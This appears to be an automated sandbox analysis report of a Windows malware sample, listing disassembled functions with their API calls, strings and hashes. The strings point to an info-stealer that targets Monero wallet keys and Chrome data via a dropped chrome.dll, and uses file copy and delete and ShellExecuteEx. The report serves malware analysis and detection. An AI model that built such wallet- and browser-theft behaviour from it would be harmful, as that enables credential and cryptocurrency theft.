                                    Function 00E268D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON
                                    Download Yara Rule
                                    APIs
                                    • GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00E26903
                                      • Part of subcall function 00E2AA50: lstrcpy.KERNEL32(00E30E1A,00000000), ref: 00E2AA98
                                      • Part of subcall function 00E2ACC0: lstrlen.KERNEL32(?,00998918,?,\Monero\wallet.keys,00E30E1A), ref: 00E2ACD5
                                      • Part of subcall function 00E2ACC0: lstrcpy.KERNEL32(00000000), ref: 00E2AD14
                                      • Part of subcall function 00E2ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00E2AD22
                                      • Part of subcall function 00E2ABB0: lstrcpy.KERNEL32(?,00E30E1A), ref: 00E2AC15
                                    • ShellExecuteEx.SHELL32(0000003C), ref: 00E269C6
                                    • ExitProcess.KERNEL32 ref: 00E269F5
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
                                    • String ID: <
                                    • API String ID: 1148417306-4251816714
                                    • Opcode ID: df7b11afbc6944a79a132080baa97a943ce1437bf70b4092f1ea462b2a94bb37
                                    • Instruction ID: ee51a5bc1fd587a6eb3c69c194ac582ff65deeced709dda71e10990237a93b37
                                    • Opcode Fuzzy Hash: df7b11afbc6944a79a132080baa97a943ce1437bf70b4092f1ea462b2a94bb37
                                    • Instruction Fuzzy Hash: 393161B1901228ABDB18EB90ED92FDDB7B8AF04700F445198F20577185DF756B48CF55
                                    Function 00E28950 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON
                                    Download Yara Rule
                                    APIs
                                    • GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00E30E10,00000000,?), ref: 00E289BF
                                    • RtlAllocateHeap.NTDLL(00000000), ref: 00E289C6
                                    • wsprintfA.USER32 ref: 00E289E0
                                      • Part of subcall function 00E2AA50: lstrcpy.KERNEL32(00E30E1A,00000000), ref: 00E2AA98
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Heap$AllocateProcesslstrcpywsprintf
                                    • String ID: %dx%d
                                    • API String ID: 1695172769-2206825331
                                    • Opcode ID: 789f0253db3018191f401208dfdc9921706c00200ab1ee1b600dd540b421a6f0
                                    • Instruction ID: 3bc22303a0b2a9cc85fd147eb14949cc4278f1de5d2d658fcf78ad9bc8f355a6
                                    • Opcode Fuzzy Hash: 789f0253db3018191f401208dfdc9921706c00200ab1ee1b600dd540b421a6f0
                                    • Instruction Fuzzy Hash: 0A2160B1A40304AFDB14DF99DD45FAEBBB8FB48B01F104559F605BB284C77A9900CBA0
                                    Function 00E1A090 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 34libraryCOMMON
                                    Download Yara Rule
                                    APIs
                                    • LoadLibraryA.KERNEL32(C:\ProgramData\chrome.dll), ref: 00E1A098
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: LibraryLoad
                                    • String ID: C:\ProgramData\chrome.dll$connect_to_websocket$free_result
                                    • API String ID: 1029625771-1545816527
                                    • Opcode ID: fa9adc59799e6195bf0a67e6a35b2f158978992a7e38f1ff60b7c841cd52059b
                                    • Instruction ID: 1d8c4a46e97480b4c6b3adf848a8b6eabcff11d45e12314783934384258f0f60
                                    • Opcode Fuzzy Hash: fa9adc59799e6195bf0a67e6a35b2f158978992a7e38f1ff60b7c841cd52059b
                                    • Instruction Fuzzy Hash: 95F06D78646300EFD721AB62E90CBAA3AD4A305B10F002569F455AB284C27E89C4CBD2
                                    Function 00E28EE0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON
                                    Download Yara Rule
                                    APIs
                                    • GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00E296AE,00000000), ref: 00E28EEB
                                    • RtlAllocateHeap.NTDLL(00000000), ref: 00E28EF2
                                    • wsprintfW.USER32 ref: 00E28F08
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Heap$AllocateProcesswsprintf
                                    • String ID: %hs
                                    • API String ID: 769748085-2783943728
                                    • Opcode ID: 4a8137ea7add64987bbd1bc293c2438e786df04bdccef2edc272c053bc3be240
                                    • Instruction ID: 6184d69c83452c8ca8ca3f3f662505dea9b565c18bb1f587c25c8f26c2640605
                                    • Opcode Fuzzy Hash: 4a8137ea7add64987bbd1bc293c2438e786df04bdccef2edc272c053bc3be240
                                    • Instruction Fuzzy Hash: 21E0EC75A44309BBDB24DBD5DD0AE6D7BB8EB05B02F000198FE499B340DA769E109BD1
                                    Function 00E1A990 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00E2AA50: lstrcpy.KERNEL32(00E30E1A,00000000), ref: 00E2AA98
                                      • Part of subcall function 00E2ACC0: lstrlen.KERNEL32(?,00998918,?,\Monero\wallet.keys,00E30E1A), ref: 00E2ACD5
                                      • Part of subcall function 00E2ACC0: lstrcpy.KERNEL32(00000000), ref: 00E2AD14
                                      • Part of subcall function 00E2ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00E2AD22
                                      • Part of subcall function 00E2ABB0: lstrcpy.KERNEL32(?,00E30E1A), ref: 00E2AC15
                                      • Part of subcall function 00E28CF0: GetSystemTime.KERNEL32(00E30E1B,0099EA10,00E305B6,?,?,00E113F9,?,0000001A,00E30E1B,00000000,?,00998918,?,\Monero\wallet.keys,00E30E1A), ref: 00E28D16
                                      • Part of subcall function 00E2AC30: lstrcpy.KERNEL32(00000000,?), ref: 00E2AC82
                                      • Part of subcall function 00E2AC30: lstrcat.KERNEL32(00000000), ref: 00E2AC92
                                    • CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00E1AA11
                                    • lstrlen.KERNEL32(00000000,00000000), ref: 00E1AB2F
                                    • lstrlen.KERNEL32(00000000), ref: 00E1ADEC
                                      • Part of subcall function 00E2AAB0: lstrcpy.KERNEL32(?,00000000), ref: 00E2AAF6
                                    • DeleteFileA.KERNEL32(00000000), ref: 00E1AE73
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
                                    • String ID:
                                    • API String ID: 211194620-0
                                    • Opcode ID: 8ff5b125a5899fe623410759cfdbff09bfa6b91ec628f3c387696b1c0cba93cf
                                    • Instruction ID: 834d19fa32fae14a36569f0f13313424315dec427581c1a68fd82cec259280e5
                                    • Opcode Fuzzy Hash: 8ff5b125a5899fe623410759cfdbff09bfa6b91ec628f3c387696b1c0cba93cf
                                    • Instruction Fuzzy Hash: F7E106729101289BCB14FBA4ED62EEE7379AF14300F4895A9F51776091DF316A4CCB62
                                    Function 00E1D500 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00E2AA50: lstrcpy.KERNEL32(00E30E1A,00000000), ref: 00E2AA98
                                      • Part of subcall function 00E2ACC0: lstrlen.KERNEL32(?,00998918,?,\Monero\wallet.keys,00E30E1A), ref: 00E2ACD5
                                      • Part of subcall function 00E2ACC0: lstrcpy.KERNEL32(00000000), ref: 00E2AD14
                                      • Part of subcall function 00E2ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00E2AD22
                                      • Part of subcall function 00E2ABB0: lstrcpy.KERNEL32(?,00E30E1A), ref: 00E2AC15
                                      • Part of subcall function 00E28CF0: GetSystemTime.KERNEL32(00E30E1B,0099EA10,00E305B6,?,?,00E113F9,?,0000001A,00E30E1B,00000000,?,00998918,?,\Monero\wallet.keys,00E30E1A), ref: 00E28D16
                                      • Part of subcall function 00E2AC30: lstrcpy.KERNEL32(00000000,?), ref: 00E2AC82
                                      • Part of subcall function 00E2AC30: lstrcat.KERNEL32(00000000), ref: 00E2AC92
                                    • CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00E1D581
                                    • lstrlen.KERNEL32(00000000), ref: 00E1D798
                                    • lstrlen.KERNEL32(00000000), ref: 00E1D7AC
                                    • DeleteFileA.KERNEL32(00000000), ref: 00E1D82B
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
                                    • String ID:
                                    • API String ID: 211194620-0
                                    • Opcode ID: cbcabe42554e6a353b2a9bd825f38abf0e7b8ae29829b65601e79c84029a0017
                                    • Instruction ID: 2b765520036fd2cec06038a0be4cd5df2a88fe40adc88d00e8b5eed594ca17a5
                                    • Opcode Fuzzy Hash: cbcabe42554e6a353b2a9bd825f38abf0e7b8ae29829b65601e79c84029a0017
                                    • Instruction Fuzzy Hash: 07913672D101289BCB14FBA4EDA6EEE73B9AF14300F485578F51776091EF346A48CB62
                                    Function 00E1D880 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00E2AA50: lstrcpy.KERNEL32(00E30E1A,00000000), ref: 00E2AA98
                                      • Part of subcall function 00E2ACC0: lstrlen.KERNEL32(?,00998918,?,\Monero\wallet.keys,00E30E1A), ref: 00E2ACD5
                                      • Part of subcall function 00E2ACC0: lstrcpy.KERNEL32(00000000), ref: 00E2AD14
                                      • Part of subcall function 00E2ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00E2AD22
                                      • Part of subcall function 00E2ABB0: lstrcpy.KERNEL32(?,00E30E1A), ref: 00E2AC15
                                      • Part of subcall function 00E28CF0: GetSystemTime.KERNEL32(00E30E1B,0099EA10,00E305B6,?,?,00E113F9,?,0000001A,00E30E1B,00000000,?,00998918,?,\Monero\wallet.keys,00E30E1A), ref: 00E28D16
                                      • Part of subcall function 00E2AC30: lstrcpy.KERNEL32(00000000,?), ref: 00E2AC82
                                      • Part of subcall function 00E2AC30: lstrcat.KERNEL32(00000000), ref: 00E2AC92
                                    • CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00E1D901
                                    • lstrlen.KERNEL32(00000000), ref: 00E1DA9F
                                    • lstrlen.KERNEL32(00000000), ref: 00E1DAB3
                                    • DeleteFileA.KERNEL32(00000000), ref: 00E1DB32
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
                                    • String ID:
                                    • API String ID: 211194620-0
                                    • Opcode ID: dd806eb9e08378469326e0488380f1fa77cccbe6a9f34e6d065bf7315c7235a7
                                    • Instruction ID: 279a6ee8225319dc874bfb3a2534e5b3b3551fdfdd98f904384b66552a12992a
                                    • Opcode Fuzzy Hash: dd806eb9e08378469326e0488380f1fa77cccbe6a9f34e6d065bf7315c7235a7
                                    • Instruction Fuzzy Hash: A48122729101289BCB14FBA4EDA6EEE73B9AF14300F485578F50776091EF356A08CB72
                                    Function 00E8FED7 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE
                                    Download Yara Rule
                                    APIs
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: AdjustPointer
                                    • String ID:
                                    • API String ID: 1740715915-0
                                    • Opcode ID: 06145f3a63d5280db2389d3658a688964ecb7b0d80857c6917ca60528e3905ca
                                    • Instruction ID: a5a8191c12151f05d4238b09e48612d0be5ecad35ec131f8f9c0b83437aa856e
                                    • Opcode Fuzzy Hash: 06145f3a63d5280db2389d3658a688964ecb7b0d80857c6917ca60528e3905ca
                                    • Instruction Fuzzy Hash: 9451E272600206AFEF29AF54C841BBA77B5FF01314F24652DEA0DA7691E731ED40DB90
                                    Function 00E1A560 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 158memoryCOMMON
                                    Download Yara Rule
                                    APIs
                                    • LocalAlloc.KERNEL32(00000040,?), ref: 00E1A664
                                      • Part of subcall function 00E2AA50: lstrcpy.KERNEL32(00E30E1A,00000000), ref: 00E2AA98
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: AllocLocallstrcpy
                                    • String ID: @$v10$v20
                                    • API String ID: 2746078483-278772428
                                    • Opcode ID: 1c3cf8997329f47e8b10d87f73a4b43e79690c000883660396e7919994b56db1
                                    • Instruction ID: 4ed220256a2bbe3679a4825abdebc94b7b208616037f11affb29b919f73015e9
                                    • Opcode Fuzzy Hash: 1c3cf8997329f47e8b10d87f73a4b43e79690c000883660396e7919994b56db1
                                    • Instruction Fuzzy Hash: C6513DB0A10208EFDB14EFA4DD96BED77B6BF40344F089528F90A7B191DB706A45CB51
                                    Function 00E1F5A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00E2AAB0: lstrcpy.KERNEL32(?,00000000), ref: 00E2AAF6
